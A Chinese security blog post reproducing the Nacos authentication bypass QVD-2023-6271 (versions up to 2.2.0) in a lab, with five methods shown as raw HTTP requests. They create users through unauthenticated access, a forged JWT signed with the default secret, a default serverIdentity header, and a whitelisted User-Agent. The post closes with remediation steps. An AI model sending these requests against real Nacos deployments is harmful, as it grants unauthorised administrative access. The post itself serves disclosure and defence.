QVD-2023-6271:Nacos身份认证绕过漏洞

2023-04-26 11,776


关注我们❤️,添加星标🌟,一起学安全!
作者:akunda@Timeline Sec
本文字数:850
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介


nacos是一个易于使用的动态服务发现、配置和服务管理平台,用于构建云原生应用程序。其默认配置下存在权限绕过。


0x02 漏洞概述


开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

0x03 影响版本


nacos <=2.2.0


0x04 环境搭建


1. 下载nacos:

https://github.com/alibaba/nacos/releases/tag/2.2.0

这里选择官方打包好的jar包下载



2. 进入 nacos/bin目录下,输入如下命令启动项目startup.cmd -m standalone

3. 访问
http://192.168.xx.xx:8848/nacos/index.html



0x05 漏洞复现


方式一:默认账号

输入 nacos/nacos 成功登陆后台


方式二:默认未授权

发送如下数据包,成功创建用户

POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.112:8848Content-Type: application/x-www-form-urlencodedContent-Length: 31
username=test02&password=test02


方式三:默认JWT-secret

1.在nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证


2. 发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1Host: 192.168.31.112:8848Content-Type: application/x-www-form-urlencodedContent-Length: 31
username=test03&password=test03



方式四:默认头部

发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.112:8848Content-Type: application/x-www-form-urlencodedserverIdentity: securityContent-Length: 31
username=test05&password=test05


方式五:低版本(nacos<1.4.1)默认白名单UA

1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UA

2. 发送如下数据包成功创建用户


POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.112:8848User-Agent: Nacos-ServerContent-Type: application/x-www-form-urlencodedContent-Length: 31
username=test04&password=test04
0x06 修复方式



1.升级至最新版本
2.删除默认配置中的下列选项,启动nacos时必须手动配置
nacos.core.auth.server.identity.key
nacos.core.auth.server.identity.value
nacos.core.auth.plugin.nacos.token.secret.key













本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199642.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号